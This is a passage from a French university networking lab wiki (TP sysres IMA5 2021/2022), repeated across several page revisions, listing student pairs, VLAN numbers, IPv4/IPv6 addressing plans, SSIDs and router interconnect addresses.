| Johnny Gouvaert / Arthur Vercaemst
|-
| [[ TP sysres IMA5 2021/2022 G8 | Cahier n°8]]
| Mel Theo
|-
| [[ TP sysres IMA5 2021/2022 G9 | Cahier n°9]]
| Khalil Alvare
|-
| [[ TP sysres IMA5 2021/2022 G10 | Cahier n°10]]
| Souleyman Enoch
|-
| [[ TP sysres IMA5 2021/2022 G11 | Cahier n°11]]
| Clément
|-
| [[ TP sysres IMA5 2021/2022 G12 | Cahier n°12]]
|
|-
| [[ TP sysres IMA5 2021/2022 G13 | Cahier n°13]]
|
|}

=Plan d'adressage=

{| class="wikitable"
! Groupe !! VLAN !! Réseau IPv4 !! Réseau IPv6 !! @IPv4 virtuelle !! IPv4 6509E (E304) !! IPv4 C9200 (E306) !! IPv4 ISR4331 (SR52) !! SSID !! VM
|-
| Andrei / Julien || 10 || 10.00.0.0/16 || 2001:7A8:116E:60B0::0/64 || 10.00.0.250 || 10.00.0.251 || 10.00.0.252 || 10.00.0.253 || Jonquille || Kronenbourg
|-
| Robin / Aviran || 01 || 10.01.0.0/16 || 2001:7A8:116E:60B0::1/64 || 10.01.0.250 || 10.01.0.251 || 10.01.0.252 || 10.01.0.253 || Marguerite ||  
|-
| Axel / Guillaume || 02 || 10.02.0.0/16 || 2001:7A8:116E:60B0::2/64 || 10.02.0.250 || 10.02.0.251 || 10.02.0.252 || 10.02.0.253 || Pensee || Kasteel
|-
| Selim / Raphael || 03 || 10.03.0.0/16 || 2001:7A8:116E:60B0::3/64 || 10.03.0.250 || 10.03.0.251 || 10.03.0.252 || 10.03.0.253 || Lavende || Karmeliet
|-
| Helene / Camille || 04 || 10.04.0.0/16 || 2001:7A8:116E:60B0::4/64 || 10.04.0.250 || 10.04.0.251 || 10.04.0.252 || 10.04.0.253 || Tulipe || Duff
|-
| Boris / Louis || 05 || 10.05.0.0/16 || 2001:7A8:116E:60B0::5/64 || 10.05.0.250 || 10.05.0.251 || 10.05.0.252 || 10.05.0.253 || Rose || Bellerose
|-
| Johnny / Arthur || 06 || 10.06.0.0/16 || 2001:7A8:116E:60B0::6/64 || 10.06.0.250 || 10.06.0.251 || 10.06.0.252 || 10.06.0.253 || Orchidee || Anosteke
|-
| Mel / Theo || 07 || 10.07.0.0/16 || 2001:7A8:116E:60B0::7/64 || 10.07.0.250 || 10.07.0.251 || 10.07.0.252 || 10.07.0.253 || Tournesol || RinceCochon
|-
| Khalil / Alvare || 08 || 10.08.0.0/16 || 2001:7A8:116E:60B0::8/64 || 10.08.0.250 || 10.08.0.251 || 10.08.0.252 || 10.08.0.253 || Lys ||  
|-
| SOuleyman / Enoch || 09 || 10.09.0.0/16 || 2001:7A8:116E:60B0::9/64 || 10.09.0.250 || 10.09.0.251 || 10.09.0.252 || 10.09.0.253 || Pissenlit ||  
|-
| Clement || 110 || 10.10.0.0/16 || 2001:7A8:116E:60B0::A/64 || 10.10.0.250 || 10.10.0.251 || 10.10.0.252 || 10.10.0.253 || Coquelicot ||  
|-
| INTERCO || || || fe80::1/10(304) fe80::2/10(306) fe80::3/10(SR53) || 10.10.0.250 || 192.168.222.41/29 || 192.168.222.42/29 || 192.168.222.43/29 || ||  
|-
|}

Table du VLAN 42
{| class="wikitable"
! Groupe !! @IPv4 MV !! @IPv6 MV (auto)
|-
| Andrei / Julien || 193.48.57.176 ||  
|-
| Robin / Aviran || 193.48.57.177 ||  
|-
| Axel / Guillaume || 193.48.57.178 ||  
|-
| Selim / Raphael || 193.48.57.179 ||  
|-
| Helene / Camille || 193.48.57.180 ||  
|-
| Boris / Louis || 193.48.57.181 ||  
|-
| Johnny / Arthur || 193.48.57.182 ||  
|-
| Mel / Theo || 193.48.57.183 ||  
|-
| Khalil / Alvare || 193.48.57.184 ||  
|-
| SOuleyman / Enoch || 193.48.57.185 ||  
|-
| Clement || 193.48.57.186 ||  
|-
|}

Note :

'''à compléter '''
{| class="wikitable"
! Entité !! Élève !! Domaine !! 193.48.57.176/28 !! 10.60.0.0/16 !! 2001:660:4401:60B0::/60 !! 2001:7A8:116E:60B0::/60 !! VLAN !! VLAN WIFI !! N° VRRP !! SSID n°1 !! SSID n°2
|-
| ROUTEUR E304
|
| 193.48.57.187
|
| :: :F0
| :: :F0
| 10.NN.00.250
|
|
|
|-
| ROUTEUR E306
|
| 193.48.57.188
|
| :: :F1
| :: :F1
| 10.NN.00.251
|
|
|
|-
| ROUTEUR SR52
|
| 193.48.57.189
|
| :: :F2
| :: :F2
| 10.NN.00.252
|
|
|
|-
| ROUTEUR FLOTTANTE
|
| 193.48.57.190
|
| :: :F3
| :: :F3
| 10.NN.00.253
|
|
|
|-
| Vlan INTERCO 531 INTERCO-SA
|
| 192.168.222.40/29
|
| fe80::/10 ::1
| fe80::/10 ::1
| 10.NN.00.253
|
|
|
|-
| Vlan INTERCO E304
|
| 192.168.222.41/29
|
| fe80::/10 ::1
| fe80::/10 ::1
|
|
|
|
|-
| Vlan INTERCO E306
|
| 192.168.222.42/29
|
| fe80::/10 ::2
| fe80::/10 ::2
|
|
|
|
|-
| Vlan INTERCO SR53
|
| 192.168.222.43/29
|
| fe80::/10 ::3
| fe80::/10 ::3
|
|
|
|
|}

* Plan d'adressage IPv4 :
{| class="plan_addr"
! VLAN !! Nom !! Réseau IPv4 !! Cisco 6509-E !! Cisco 9200 !! Cisco ISR 4331 !! Routeur plateforme maths/info !! PA Wifi n°1 !! PA Wifi n°2
|-
|
|}

* Plan d'adressage IPv6 :
{| class="plan_addr"
! VLAN !! Nom !! Réseau IPv6 !! Cisco 6509-E !! Cisco 9200 !! Cisco ISR 4331 !! Routeur plateforme maths/info !! PA Wifi n°1 !! PA Wifi n°2
|-

|}

=Architecture réseau=

TP sysres IMA5sc 2021/2022

2021-10-25T13:52:57Z

Mbaumgar : /* Plan d'adressage */

== Répartition des binômes ==

{| class="wikitable"
! Cahier !! Elèves
|-
| [[ TP sysres IMA5 2021/2022 G1 | Cahier n°1]]
| Andrei Florea / Julien Delabre
|-
| [[ TP sysres IMA5 2021/2022 G2 | Cahier n°2]]
| Robin Lasseyrie / Aviran Tetia
|-
| [[ TP sysres IMA5 2021/2022 G3 | Cahier n°3]]
| Axel Guillaume
|-
| [[ TP sysres IMA5 2021/2022 G4 | Cahier n°4]]
| Selim Raphael
|-
| [[ TP sysres IMA5 2021/2022 G5 | Cahier n°5]]
| Helene Camille
|-
| [[ TP sysres IMA5 2021/2022 G6 | Cahier n°6]]
| Boris JACQUOT / Louis WADBLED
|-
| [[ TP sysres IMA5 2021/2022 G7 | Cahier n°7]]
| Johnny Gouvaert / Arthur Vercaemst
|-
| [[ TP sysres IMA5 2021/2022 G8 | Cahier n°8]]
| Mel Theo
|-
| [[ TP sysres IMA5 2021/2022 G9 | Cahier n°9]]
| Khalil Alvare
|-
| [[ TP sysres IMA5 2021/2022 G10 | Cahier n°10]]
| Souleyman Enoch
|-
| [[ TP sysres IMA5 2021/2022 G11 | Cahier n°11]]
| Clément
|-
| [[ TP sysres IMA5 2021/2022 G12 | Cahier n°12]]
|
|-
| [[ TP sysres IMA5 2021/2022 G13 | Cahier n°13]]
|
|}

=Plan d'adressage=

{| class="wikitable"
! Groupe !! VLAN !! Réseau IPv4 !! Réseau IPv6 !! @IPv4 virtuelle !! IPv4 6509E (E304) !! IPv4 C9200 (E306) !! IPv4 ISR4331 (SR52) !! SSID !! VM
|-
| Andrei / Julien || 10 || 10.00.0.0/16 || 2001:7A8:116E:60B0::0/64 || 10.00.0.250 || 10.00.0.251 || 10.00.0.252 || 10.00.0.253 || Jonquille || Kronenbourg
|-
| Robin / Aviran || 01 || 10.01.0.0/16 || 2001:7A8:116E:60B0::0/64 || 10.01.0.250 || 10.01.0.251 || 10.01.0.252 || 10.01.0.253 || Marguerite ||  
|-
| Axel / Guillaume || 02 || 10.02.0.0/16 || 2001:7A8:116E:60B0::0/64 || 10.02.0.250 || 10.02.0.251 || 10.02.0.252 || 10.02.0.253 || Pensee || Kasteel
|-
| Selim / Raphael || 03 || 10.03.0.0/16 || 2001:7A8:116E:60B0::0/64 || 10.04.0.250 || 10.03.0.251 || 10.03.0.252 || 10.03.0.253 || Lavende || Karmeliet
|-
| Helene / Camille || 04 || 10.04.0.0/16 || 2001:7A8:116E:60B0::0/64 || 10.03.0.250 || 10.04.0.251 || 10.04.0.252 || 10.04.0.253 || Tulipe || Duff
|-
| Boris / Louis || 05 || 10.05.0.0/16 || 2001:7A8:116E:60B0::0/64 || 10.05.0.250 || 10.05.0.251 || 10.05.0.252 || 10.05.0.253 || Rose || Bellerose
|-
| Johnny / Arthur || 06 || 10.06.0.0/16 || 2001:7A8:116E:60B0::0/64 || 10.06.0.250 || 10.06.0.251 || 10.06.0.252 || 10.06.0.253 || Orchidee || Anosteke
|-
| Mel / Theo || 07 || 10.07.0.0/16 || 2001:7A8:116E:60B0::0/64 || 10.07.0.250 || 10.07.0.251 || 10.07.0.252 || 10.07.0.253 || Tournesol || Rince_cochon
|-
| Khalil / Alvare || 08 || 10.08.0.0/16 || 2001:7A8:116E:60B0::0/64 || 10.08.0.250 || 10.08.0.251 || 10.08.0.252 || 10.08.0.253 || Lys ||  
|-
| SOuleyman / Enoch || 09 || 10.09.0.0/16 || 2001:7A8:116E:60B0::0/64 || 10.09.0.250 || 10.09.0.251 || 10.09.0.252 || 10.09.0.253 || Pissenlit ||  
|-
| Clement || 110 || 10.10.0.0/16 || 2001:7A8:116E:60B0::0/64 || 10.10.0.250 || 10.10.0.251 || 10.10.0.252 || 10.10.0.253 || Coquelicot ||  
|-
|}

Table du VLAN 42
{| class="wikitable"
! Groupe !! @IPv4 MV !! @IPv6 MV (auto)
|-
| Andrei / Julien || 193.48.57.176 ||  
|-
| Robin / Aviran || 193.48.57.177 ||  
|-
| Axel / Guillaume || 193.48.57.178 ||  
|-
| Selim / Raphael || 193.48.57.179 ||  
|-
| Helene / Camille || 193.48.57.180 ||  
|-
| Boris / Louis || 193.48.57.181 ||  
|-
| Johnny / Arthur || 193.48.57.182 ||  
|-
| Mel / Theo || 193.48.57.183 ||  
|-
| Khalil / Alvare || 193.48.57.184 ||  
|-
| SOuleyman / Enoch || 193.48.57.185 ||  
|-
| Clement || 193.48.57.186 ||  
|-
|}

Note :

'''à compléter '''
{| class="wikitable"
! Entité !! Élève !! Domaine !! 193.48.57.176/28 !! 10.60.0.0/16 !! 2001:660:4401:60B0::/60 !! 2001:7A8:116E:60B0::/60 !! VLAN !! VLAN WIFI !! N° VRRP !! SSID n°1 !! SSID n°2
|-
| ROUTEUR E304
|
| 193.48.57.187
|
| :: :F0
| :: :F0
| 10.NN.00.250
|
|
|
|-
| ROUTEUR E306
|
| 193.48.57.188
|
| :: :F1
| :: :F1
| 10.NN.00.251
|
|
|
|-
| ROUTEUR SR52
|
| 193.48.57.189
|
| :: :F2
| :: :F2
| 10.NN.00.252
|
|
|
|-
| ROUTEUR FLOTTANTE
|
| 193.48.57.190
|
| :: :F3
| :: :F3
| 10.NN.00.253
|
|
|
|-
| Vlan INTERCO 531 INTERCO-SA
|
| 192.168.222.40/29
|
| fe80::/10 ::1
| fe80::/10 ::1
| 10.NN.00.253
|
|
|
|-
| Vlan INTERCO E304
|
| 192.168.222.41/29
|
| fe80::/10 ::1
| fe80::/10 ::1
|
|
|
|
|-
| Vlan INTERCO E306
|
| 192.168.222.42/29
|
| fe80::/10 ::2
| fe80::/10 ::2
|
|
|
|
|-
| Vlan INTERCO SR53
|
| 192.168.222.43/29
|
| fe80::/10 ::3
| fe80::/10 ::3
|
|
|
|
|}

* Plan d'adressage IPv4 :
{| class="plan_addr"
! VLAN !! Nom !! Réseau IPv4 !! Cisco 6509-E !! Cisco 9200 !! Cisco ISR 4331 !! Routeur plateforme maths/info !! PA Wifi n°1 !! PA Wifi n°2
|-
|
|}

* Plan d'adressage IPv6 :
{| class="plan_addr"
! VLAN !! Nom !! Réseau IPv6 !! Cisco 6509-E !! Cisco 9200 !! Cisco ISR 4331 !! Routeur plateforme maths/info !! PA Wifi n°1 !! PA Wifi n°2
|-

|}

=Architecture réseau=

TP sysres IMA5sc 2021/2022

2021-10-25T13:52:42Z

Mbaumgar : /* Plan d'adressage */

== Répartition des binômes ==

{| class="wikitable"
! Cahier !! Elèves
|-
| [[ TP sysres IMA5 2021/2022 G1 | Cahier n°1]]
| Andrei Florea / Julien Delabre
|-
| [[ TP sysres IMA5 2021/2022 G2 | Cahier n°2]]
| Robin Lasseyrie / Aviran Tetia
|-
| [[ TP sysres IMA5 2021/2022 G3 | Cahier n°3]]
| Axel Guillaume
|-
| [[ TP sysres IMA5 2021/2022 G4 | Cahier n°4]]
| Selim Raphael
|-
| [[ TP sysres IMA5 2021/2022 G5 | Cahier n°5]]
| Helene Camille
|-
| [[ TP sysres IMA5 2021/2022 G6 | Cahier n°6]]
| Boris JACQUOT / Louis WADBLED
|-
| [[ TP sysres IMA5 2021/2022 G7 | Cahier n°7]]
| Johnny Gouvaert / Arthur Vercaemst
|-
| [[ TP sysres IMA5 2021/2022 G8 | Cahier n°8]]
| Mel Theo
|-
| [[ TP sysres IMA5 2021/2022 G9 | Cahier n°9]]
| Khalil Alvare
|-
| [[ TP sysres IMA5 2021/2022 G10 | Cahier n°10]]
| Souleyman Enoch
|-
| [[ TP sysres IMA5 2021/2022 G11 | Cahier n°11]]
| Clément
|-
| [[ TP sysres IMA5 2021/2022 G12 | Cahier n°12]]
|
|-
| [[ TP sysres IMA5 2021/2022 G13 | Cahier n°13]]
|
|}

=Plan d'adressage=

{| class="wikitable"
! Groupe !! VLAN !! Réseau IPv4 !! Réseau IPv6 !! @IPv4 virtuelle !! IPv4 6509E (E304) !! IPv4 C9200 (E306) !! IPv4 ISR4331 (SR52) !! SSID !! VM
|-
| Andrei / Julien || 10 || 10.00.0.0/16 || 2001:7A8:116E:60B0::0/64 || 10.00.0.250 || 10.00.0.251 || 10.00.0.252 || 10.00.0.253 || Jonquille || Kronenbourg
|-
| Robin / Aviran || 01 || 10.01.0.0/16 || 2001:7A8:116E:60B0::0/64 || 10.01.0.250 || 10.01.0.251 || 10.01.0.252 || 10.01.0.253 || Marguerite ||  
|-
| Axel / Guillaume || 02 || 10.02.0.0/16 || 2001:7A8:116E:60B0::0/64 || 10.02.0.250 || 10.02.0.251 || 10.02.0.252 || 10.02.0.253 || Pensee || Kasteel
|-
| Selim / Raphael || 03 || 10.03.0.0/16 || 2001:7A8:116E:60B0::0/64 || 10.04.0.250 || 10.03.0.251 || 10.03.0.252 || 10.03.0.253 || Lavende || Karmeliet
|-
| Helene / Camille || 04 || 10.04.0.0/16 || 2001:7A8:116E:60B0::0/64 || 10.03.0.250 || 10.04.0.251 || 10.04.0.252 || 10.04.0.253 || Tulipe || Duff
|-
| Boris / Louis || 05 || 10.05.0.0/16 || 2001:7A8:116E:60B0::0/64 || 10.05.0.250 || 10.05.0.251 || 10.05.0.252 || 10.05.0.253 || Rose || Bellerose
|-
| Johnny / Arthur || 06 || 10.06.0.0/16 || 2001:7A8:116E:60B0::0/64 || 10.06.0.250 || 10.06.0.251 || 10.06.0.252 || 10.06.0.253 || Orchidee || Anosteke
|-
| Mel / Theo || 07 || 10.07.0.0/16 || 2001:7A8:116E:60B0::0/64 || 10.07.0.250 || 10.07.0.251 || 10.07.0.252 || 10.07.0.253 || Tournesol || Rince_cochon;
|-
| Khalil / Alvare || 08 || 10.08.0.0/16 || 2001:7A8:116E:60B0::0/64 || 10.08.0.250 || 10.08.0.251 || 10.08.0.252 || 10.08.0.253 || Lys ||  
|-
| SOuleyman / Enoch || 09 || 10.09.0.0/16 || 2001:7A8:116E:60B0::0/64 || 10.09.0.250 || 10.09.0.251 || 10.09.0.252 || 10.09.0.253 || Pissenlit ||  
|-
| Clement || 110 || 10.10.0.0/16 || 2001:7A8:116E:60B0::0/64 || 10.10.0.250 || 10.10.0.251 || 10.10.0.252 || 10.10.0.253 || Coquelicot ||  
|-
|}

Table du VLAN 42
{| class="wikitable"
! Groupe !! @IPv4 MV !! @IPv6 MV (auto)
|-
| Andrei / Julien || 193.48.57.176 ||  
|-
| Robin / Aviran || 193.48.57.177 ||  
|-
| Axel / Guillaume || 193.48.57.178 ||  
|-
| Selim / Raphael || 193.48.57.179 ||  
|-
| Helene / Camille || 193.48.57.180 ||  
|-
| Boris / Louis || 193.48.57.181 ||  
|-
| Johnny / Arthur || 193.48.57.182 ||  
|-
| Mel / Theo || 193.48.57.183 ||  
|-
| Khalil / Alvare || 193.48.57.184 ||  
|-
| SOuleyman / Enoch || 193.48.57.185 ||  
|-
| Clement || 193.48.57.186 ||  
|-
|}

Note :

'''à compléter '''
{| class="wikitable"
! Entité !! Élève !! Domaine !! 193.48.57.176/28 !! 10.60.0.0/16 !! 2001:660:4401:60B0::/60 !! 2001:7A8:116E:60B0::/60 !! VLAN !! VLAN WIFI !! N° VRRP !! SSID n°1 !! SSID n°2
|-
| ROUTEUR E304
|
| 193.48.57.187
|
| :: :F0
| :: :F0
| 10.NN.00.250
|
|
|
|-
| ROUTEUR E306
|
| 193.48.57.188
|
| :: :F1
| :: :F1
| 10.NN.00.251
|
|
|
|-
| ROUTEUR SR52
|
| 193.48.57.189
|
| :: :F2
| :: :F2
| 10.NN.00.252
|
|
|
|-
| ROUTEUR FLOTTANTE
|
| 193.48.57.190
|
| :: :F3
| :: :F3
| 10.NN.00.253
|
|
|
|-
| Vlan INTERCO 531 INTERCO-SA
|
| 192.168.222.40/29
|
| fe80::/10 ::1
| fe80::/10 ::1
| 10.NN.00.253
|
|
|
|-
| Vlan INTERCO E304
|
| 192.168.222.41/29
|
| fe80::/10 ::1
| fe80::/10 ::1
|
|
|
|
|-
| Vlan INTERCO E306
|
| 192.168.222.42/29
|
| fe80::/10 ::2
| fe80::/10 ::2
|
|
|
|
|-
| Vlan INTERCO SR53
|
| 192.168.222.43/29
|
| fe80::/10 ::3
| fe80::/10 ::3
|
|
|
|
|}

* Plan d'adressage IPv4 :
{| class="plan_addr"
! VLAN !! Nom !! Réseau IPv4 !! Cisco 6509-E !! Cisco 9200 !! Cisco ISR 4331 !! Routeur plateforme maths/info !! PA Wifi n°1 !! PA Wifi n°2
|-
|
|}

* Plan d'adressage IPv6 :
{| class="plan_addr"
! VLAN !! Nom !! Réseau IPv6 !! Cisco 6509-E !! Cisco 9200 !! Cisco ISR 4331 !! Routeur plateforme maths/info !! PA Wifi n°1 !! PA Wifi n°2
|-

|}

=Architecture réseau=

TP sysres IMA5 2021/2022 G8

2021-10-11T16:29:43Z

Mbaumgar : Test de l'éditeur

Aled
----
J'vais caner